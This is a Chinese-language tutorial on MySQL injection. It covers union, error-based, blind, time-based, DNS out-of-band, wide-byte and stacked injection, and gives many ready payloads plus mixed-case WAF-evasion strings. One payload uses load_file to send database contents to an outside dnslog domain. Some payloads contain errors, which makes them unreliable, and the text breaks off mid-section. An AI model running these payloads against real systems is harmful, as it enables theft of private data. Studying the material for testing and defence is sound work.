前言
sql注入(SQL-Inject) 是十大漏洞之一,它的危害很大,一旦被不法分子发现并攻入数据库,用户的隐私数据将会被泄漏或网站内容信息被串改,造成十分严重的后果。在本文章中主要讲解sql注入的方法以及一些绕过waf技巧。让大家更清楚明白sql注入的流程和过程思维,以及它有什么类型、绕过waf的方法有哪些。最后附上常见的sql注入的payloads
本文章主要讲解5个部分:
1.SQL注入及数据库流程基本介绍
2.SQL 注入的原理及过程
3.SQL 注入类型介绍
4.SQL 常见绕过waf的方法
5.SQL-payloads
这篇文章希望是你收获到的是过程的思维以及破解的思路。而不是复制粘贴。有了独立思考的能力和思维,你将创造出更多有意思的注入语句。
介绍
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严 攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句 在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
sql注入一般流程为:
- 发现漏洞
- 查询当前列数
- 查询数据库信息/表名
- 查询列属性
- 获取数据
我们所有的操作就是为了:拼凑成一条完整的操作语句
1.SQL注入及数据库流程基本介绍
市面上数据库有很多种,大体分类为:关系型数据库(sql: mysql/oracle/MSSQL/PostgreSQL...)、非关系型数据库(NoSql: redis/mongodb/Memcache/sqlite....)。大多数应用都以关系型数据库为主,非关系型数据库为辅。在众多数据库中,最常用的是Mysql数据库。所以文章重点以关系型数据库Mysql代表来示例及讲解。
一般关系型数据库结构为:数据库->表->字段->数据。 一个数据库可有多张表,一张表可以有多个字段。类似于excel。 我们可以比喻数据库就是一个excel文件。打开excel,下方的工作区tab可以看作是一张表。一列属性可以看作是字段。列下方的每一行都是数据:
在了解数据库结构后。接下来就是对数据的增删改查(CRUD)操作了。一般对数据库操作的流程是:
- 选择数据库
- 选择表
- 进行创建/增加/删除/修改操作数据
例如我们有一个test的mysql数据库,表=user,以命令行为例:
# 选择数据库
1. use数据库.
# 选择表并查询所有数据
2. SELECT* from user
# 添加数据
INSERTINTO user( field1, field2,...fieldN ) VALUES ( value1, value2,...valueN );
#更新数据
UPDATEuserSET field1=new-value1, field2=new-value2 [WHERE Clause]
#删除数据
DELETEFROM user[WHERE Clause]
语法还有很多就不一一介绍了,有兴趣的可以自行去了解:https://www.runoob.com/mysql/mysql-tutorial.html
在我们了解对数据库的操作以及架构后,我们有了一些认识对下面内容会好理解一些。我们所有的sql注入操作都是围绕着以上的语句进行注入的。只是方法不同。注入的最后归宿就是拼抽成以上的语句并执行获取想要的内容。
2.SQL 注入的原理及过程
接下来以一个简单的例子来示例整个sql注入过程。便于更好理解sql是怎么注入的。首先第一步则是了解一下数据库的注释
MYSQL注释
注释是注入必不可少部分,注释一般都在最后,它的作用是不执行注释符号后的内容,常见的注释符号有以下几种。
类型 | 描述 |
---|---|
# | 评论语法注释 |
-- - | SQL注释 |
-- qwe | 注释 - mysql |
例子,例如语句:
select * from user where username='admin' # and limit 0,1 '
例子中,该sql语句"#" 符号后面的 " and limit 0,1 " 将不会执行。只会执行 “#” 号前面部分。无论 “#”、“-- -”、 “ -- qwe” 它们的效果都是一样的,因个人喜欢或数据库系统决定使用哪一种注释。
MYSQL测试注入
sql注入首先得测试一下是否存在sql注入,这是非常重要的环节,如果不测试直接上注入语句,幸运可能一步到位,不幸运就白白输入了。测试注入因数据库系统或注入类型决定测试方法。如系统未报错无任何响应,可以尝试使用延时注入测试:" ' and sleep(3) -- qwe ",
示例测试注入语句:
SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';
符号 | 注入类型 | 完整语句 |
' or '1 | 字符注入 | SELECT * FROM Users WHERE username = '' or '1 ' AND password = 'FUZZ2'; |
' or 1 -- - | 字符注入 | SELECT * FROM Users WHERE username = '' or 1 -- - ' AND password = 'FUZZ2'; |
" or "" = " | 字符注入 | SELECT * FROM Users WHERE username = "" or "" = " " AND password = 'FUZZ2'; |
" or 1=1 -- - | 字符注入 | SELECT * FROM Users WHERE username = "" or 1=1 -- - " AND password = 'FUZZ2'; |
'=' | 字符注入 | SELECT * FROM Users WHERE username = ''=' ' AND password = 'FUZZ2'; |
'like' | 字符注入 | SELECT * FROM Users WHERE username = ''like' ' AND password = 'FUZZ2'; |
'=0--+ | 字符注入 | SELECT * FROM Users WHERE username = ''=0--+ ' AND password = 'FUZZ2'; |
1 or 1=1 -- qwe | 数字注入 | SELECT * FROM Users WHERE id =1 or 1-1 -- qwe ' AND password = 'FUZZ2'; |
admin' or sleep(3) -- qwe | 延时注入 | SELECT * FROM Users WHERE username="admin' or sleep(3) -- qwe ' AND password = 'FUZZ2'; |
测试是否存在取决于响应是否有改变。例如在url中参数 "?id=1" ,我们不改变 id=1, 而在1的后面加上:or sleep(3) 如果3发现响应变慢了且3秒才响应,那么很有可能存在sql注入漏洞。在测试中观察内容变化或响应时长,在原有参数值(如id=1, 参数名=参数值)不变的情况下追加测试注入语句,如发生改变则可能存在漏洞。
检测列数
我们在联合查询时,主语句和子语句输出列数不匹配时执行会报错。因此我们需要确定当前语句输出了多少列。
我们试想一下,你命令数据库小伙子一次查询同时输出2条语句内容,例如:主语句 “A\B\C三个字段,但第二条不等于三个字段,并同时输出在同一个结果上“
这时数据库小伙子后脑开始冒烟了,它在想:子语句我减少或增加也都不满足要求。它想来想去,终于想到一个办法:它直接抛出异常解决了这个问题。
当我们未知输出列数情况下,我们需要一步一步探索找到它的列数,才便于将内容展示出来。这步存在的意义在于sql语法在联合查询时,如果字段和主语句输出不一致会导致发生错误。
我们可以使用一下常见的语句来查询有多少列:
1.1 使用order by
[order by]
1' ORDER BY 1--+ #正常返回 1' ORDER BY 2--+ #正常返回 1' ORDER BY 3--+ #正常返回 1' ORDER BY 4--+ #报错/异常返回 - 查询的只有3个字段输出
ORDER BY 在一个字段一个字段尝试直到报错前一个数就是字段长度,我们用命令来演示这个示例,
例如查询语句:
select username,password,nickname,email from bb_user where username='admin'
我们在用户名栏架上sql-注入,进行查询,使用以上方法将构造成一下语句:
select username,password,nickname,email from bb_user where username='admin' ORDER BY 1 -- -'
此时响应正常,继续执行,修改 order by 后的数字为 2 继续查询
select username,password,nickname,email from bb_user where username='admin' ORDER BY 2 -- -'
此时也返回了正常, 接着重复直到报错为止。最终发现是在5的时候出现错误:
语句:
select username,password,nickname,email from bb_user where username='admin' ORDER BY 5 -- -'
报错:
1054 - Unknown column '5' in 'order clause'
1.2 使用 group by
[group by] 1' GROUP BY 1--+ #正常返回 1' GROUP BY 2--+ #正常返回 1' GROUP BY 3--+ #正常返回 1' GROUP BY 4--+ #报错/异常返回 - 查询的只有3个字段输出
1.3 使用 union select
union select 和 order by 相反,当输出正常时,上一个就是当前输出的字段数量。
1' UNION SELECT 1# // 语句报错,列数不相同 1' UNION SELECT 1,2 # //语句报错,列数不相同 1' UNION SELECT 1,2,3,4 # // 语句正常,当前主语句输出字段为:4
2.提取系统信息(可选)
知道了列数返回,接下来可查看一些数据库的系统信息,因为有了数据库信息或者横幅,我们也更好理解我们能做的事情。
提取版本
' UNION SELECT @@version #
select username,password,nickname,email from bb_user where username='admin' union select 1,2,@@version,4 #'
提取当前数据库
' UNION SELECT database() #
select username,password,nickname,email from bb_user where username='admin' union select 1,2,3,database() #'
这里可以看到,列数就是这样的作用~
提取表名
有了数据库名和列数,接下来开始检索表名
' union select table_name from information_schema.tables where table_schema=database() #
微混淆版:
' UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=database() #
此混淆的明文是:
' union select 1,2,group_concat(0x7c,table_name,0x7C) from information_schema.tables where table_schema=database() #
解析一下这条语句。
- uinon select 联合查询的开头
- group_concat() 是分组合并字符串
- 0x7c 是16进制,代表符号:" | "
- 所有表的对象:information_schema.tables
- 查询当前数据库的:table_schema=database()
此语句会输出:
|user|article|flag|.....
提取列属性
有了表名,接下来可以检索列数,明白有什么表后,我们比如想看看女神的邮箱。我们不知道它存在那个字段。因此需要明白有哪些字段:
' UniOn Select 1,2,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name='news' # ' UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... #
提取内容
有了数据库+表+列, 接下来可以提取内容了。
' UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... # ' UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,columns_name,0x7C) fRoM table_name # ' UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,columns_name,0x7C) fRoM table_name where fields = 'value' #
到此,以上是注入的核心整个流程,无论是什么数据库差不多都是这个流程,唯一区别就是数据库不一样。如果看到这里,你了解了,你信心满满的去打靶场或测试自己网址,发现好像一点用都没有是吧?这时候你就理解了我开头所说的了:"剑越锋利,盾就会越厚。" , 我们得跳出别人的思维,用自己独有的思维方法去破解这些盾,就要用到更高级的用法。
3.SQL注入类型介绍
sql注入类型有以下几种,分别为:显错注入、盲注SQL注入、延迟注入、布尔注入、堆叠注入、dns注入、二次注入、目录遍历注入、宽子节注入、head注入等等...
1.显错注入
显错注入可以理解为:根据数据库错误信息显示进行注入攻击。根据报错输出的内容来注入查看数据。例如,我们查询输入用户名后加上单/双引号,如: admin ' ,此时数据库查询构造的语句如下:
select * from user where username='admin''
这时查询数据库时就会报错:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' ' at line 1
译:
1064-您的SQL语法出现错误;在第1行的“admin”附近查看与MySQL服务器版本相对应的手册,以获得要使用的正确语法
我们可以看到错误内容中返回我们输入的字符[ admin' ] ,那么我们可以根据这个错误回显,进行查询我们想要的库、表、字段、内容等等。 我们使用mysql的函数:updateXML 来演示这个例子:
假设我们在登陆页面,我们发现输入恶意字符系统回抛出sql错误。
一般显错注入用于输入了恶意语句没有任何地方回显展示的情况下使用。例如:登陆、未知内容查询等。
查看数据库版本-payload
monday' AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null) #
此时完整语句为:
select * from bb_test where week='monday' AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null) #'
查询后显示了报错内容:
1105 - XPATH syntax error: '~5.7.29~'
可以看到,该服务器版本时5.7.29。
接下来流程依旧如此。例如:
查询数据库名:
monday' AND updatexml(rand(),concat(CHAR(126),database(),CHAR(126)),null) #'
输出:
1105 - XPATH syntax error: '~test~'
查询表
monday' AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=database() LIMIT 1,1)),null) #
其中:" limit 1,1 " 是查看单张表的表名,如想看下一张表可输入:limit 2,1,以此类推
输出:
XPATH syntax error: ':~bb_admin~'
查询字段
monday' AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME='bb_admin' LIMIT 1,1)),null) #‘
其中:" limit 1,1 " 是查看单张表的表名,如想看下一张表可输入:limit 2,1,以此类推
剩下查询内容任务交给你去练习,如不明白,也可以看最后的payloads中有介绍。
2.盲注SQL注入
盲注是通关响应内容的变化进行获取数据库信息注入的一种方式。常用在一些已知或通用查询的情况下使用:例如搜索产品,搜索新闻等等。
例如我们常看见一些社区网站有搜索,当你输入关键词查找相关内容时,它返回包含关键词的内容列表展示。我们利用列表展示的标题、描述等等内容来回显我们注入的库名、表名、字段以及数据。示例如第二节所展示操作一致。
3.延迟注入
“延迟”这词很好理解,即基于时间延时时长来判断展示的内容。它是最费时最费力的,也是我们最讨的。常用于在一些即没有内容显示也不报错的场景下使用。
要使用延时注入或布尔注入一般常用的函数有:
- length(字符串) - 获取字符串长度
substr(截取的字符串, 截取的开始位置, 截取的长度). - 截取字符串并返回截取的内容
ascii(字符串) 将字符串转换成ascii码进行判断
例如我们遇到一个隐藏了报错且未知内容的功能。我们以上两种方法无法得到回馈,可以尝试输入延时函数 sleep(3) 其中 “3” 代表延时3秒返回内容,此payload为:
' and if(length(database()) == 8, sleep(3), 1) #
我们观察响应时长,尝试一两次,发现比正常输入响应要长3秒,那么大概率是有漏洞了。这段语句的含义是:
if 格式为: if(条件, 成立执行的内容, 不成立的结果)
- length(字符串) == 8 获取字符串长度,并判断是否是8个字符串
- database() 获取当前数据库名
结合起来是:判断数据库名的长度是否等于8,如果等于8,延时3秒,否则立即返回。
当我们知道数据库表字符串是8位时,那么我们接下来可以使用截取函数一个一个从a-z、下划线进行判断。例如数据库名:test。 我们从lenght中知道是4位。接下来使用 substr 来截取第一位进行判断a-z或下划线(_):
' and if(substr(databases(), 1, 1) == "a", 1, sleep(3)) -- qwe
此结果回立即返回,那么它并不成立。继续将 "a" 改成 “b”,继续尝试。直到 "t" ,页面将会延时了3秒。那么就可以确定第一位是:"t"
然后继续第二位测试:
' and if(substr(databases(), 2, 1) == "a", 1, sleep(3)) -- qwe
直到延时3秒后确定第二位是 “e”,。以此类推直到第四位结束。就可以获取到完整的数据库表名:"test"。
接下来查询表、字段、数据内容也是重复这样的步骤,
查询表:
' and if(substr( (select table_name from information_schema.tables where table_name=database() limit 0,1 ),1,1 ), 1, sleep(2) ) #
4.布尔注入
布尔注入方法和延时注入是差不多的,区别在于布尔注入会根据页面是否有数据是否正常回显。例如某程序会根据查询的条件返回对应数据,查询不到则显示空,查询到展示相关内容。当我们使用布尔注入时,如果存在sql漏洞,那么可以根据逻辑运算进行判断。如果条件成立则显示内容,不成立则不显示。一般使用的逻辑运算符有:“=”,“>", "<", "<>" ....
这会比延时注入快,但依旧是根据回显内容来枚举数据库信息。
5.dns注入
像延时注入、布尔注入这种耗时长的注入手段很费力很费事。我们能不用就不用,但如果场景需要,但又不能不做。有痛点就有市场。dns就能解决这些延时、布尔注入场景而生的。如上述所示,我们查一张4个字符的表名。我们需要枚举很多次。但我们使用dns注入,就只需要一次即可。
dns注入是让数据库访问dns服务器,将数据带入到dns子域或者其他位置上,通过观察请求日志即可查看到我们要获取的内容。
例如:我们要查询数据库。我们在数据库中发送一个web请求。将数据库名以二级域名形式访问dns。如:test.dnsdemo.com。 我们查看dns日志时,即可看到包含数据库的二级域名请求。
注意1:dns注入需要借助dns服务器,不嫌麻烦的可以自行搭建,嫌麻烦的可以用前辈免费提供的dns服务器:http://www.dnslog.cn/
注意2:dns注入需要当前数据库角色含有load_file()函数权限的方法、支持unc路径方式
dns注入的流程如下:
1.首先检查是否拥有load_file权限。
SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE privilege_type="FILE";
如果查询到则回返回file数据:
+--------------------+----------------+ | grantee | privilege_type | +--------------------+----------------+ | 'root'@'localhost' | FILE | | 'root'@'%' | FILE | +--------------------+----------------+
2.当我们确定了拥有文件读取权限,我们就可以利用file_load进行访问dns注入。
我们打开dnslog,点击[Get SubDomain] 按钮生成一个随机的域名。
拿到域名后,我们利用file_load()来访问这个域名,需要借助一个拼接字符串函数concat(),将数据库名拼接在子域名中:
select load_file(concat("//",database(),".inntml.dnslog.cn/abc"))
当我们到回到dnslog查看,已经是返回了数据库名称了:
其他查询表、字段、数据操作也是如此
6.宽子节注入
宽子节注释主要是利用网络编码来绕过的一种方式。常见的编码有:utf-8/gbk。
使用不同的编码进行注入,如数据库是utf-8 那么,如果使用gpk编码的话,解析出来含义就不一样,因此称为宽子节注入,
扩展小鸡西:
双子节编码:多个子节组合成的编码成为多子节
单子节编码:能被ascii码收入的成为单子节编码
url编码:本质是16进制编码
gbk编码:双子节编码
在注入时通常会使用单引号、双引号等特殊字符。在应用中,通常为了安全,开发者会对客户端传染到的参数没有进行过滤,则注入的单引号或双引号就会被“\”转义,但是,如果服务器端的数据库使用的是GB2312、GBK、GB18030等宽字节的编码是,则依然会造成注入。这种场景下,实现注入可以尝试一下几种方法。绕过过滤单双引号限制:
1.使用 \ 转义
语句:
select * from users where username="a" and password="b"
当我们将a替换成 "\", b替换成 "union select 1,2,3 -- qwe", 后的语句为:
select * from users where username="\" and password=" union select 1,2,3 -- qwe "
其中: "" and password=" 是前一个的内容, "union select 1,2,3 -- qwe" 是password的内容.
2.%df/ 方式注入
%df/ 会凑合成一个中文汉字, %df 可以动态切换,只要能切换形成中文即可。
-10%df/' union select 1,databases()%23
3.16进制法(标识)
将字符转换成16进制进行处理,mysql支持16进制识别,以0x开头。我们将 " '" 转换成16进制标识: 27。 我们加上前缀 0x 此语句构造为:
-100x27union select 1,databases() -- qwe
最终识别出来的语句为:
-10' union select 1,databases() -- qwe
4.hex字符更改
如POST方法无法url编码可以更改hex字符改成df即可。
7.堆叠注入
堆叠注入是利用程序设计缺陷,查询一条语句结束标识后 “;” 后叠加其他语句。相当于一次发送请求执行了两次sql请求。这个很好理解,我们打开数据库执行sql命令查询:
我们在结束字符“;” 继续写 一条sql语句然后回车执行,将会返回2个结果。我们可以利用这个漏洞去批量查询或配合第一条sql进行配合双打。
8.二次注入
二次注入是指对已存的数据库内容被读取后再次进入查询语句之后产生的恶意SQL语句称之为二次注入,可能网站对我们输入的内容进行了转义,但是可以在没有转义的地方进行使用。大概了解有这个注入类型就像,不常遇到。
9.head注入
head注入全程时http 请求头注入,请求头常见包含有:cookie、UA、IP等等。一般登陆会将一些用户信息存储在cookie中和服务器进行交互。或对数据操作时存储ua、ip存储到日志系统中便与观察。头注入是开发者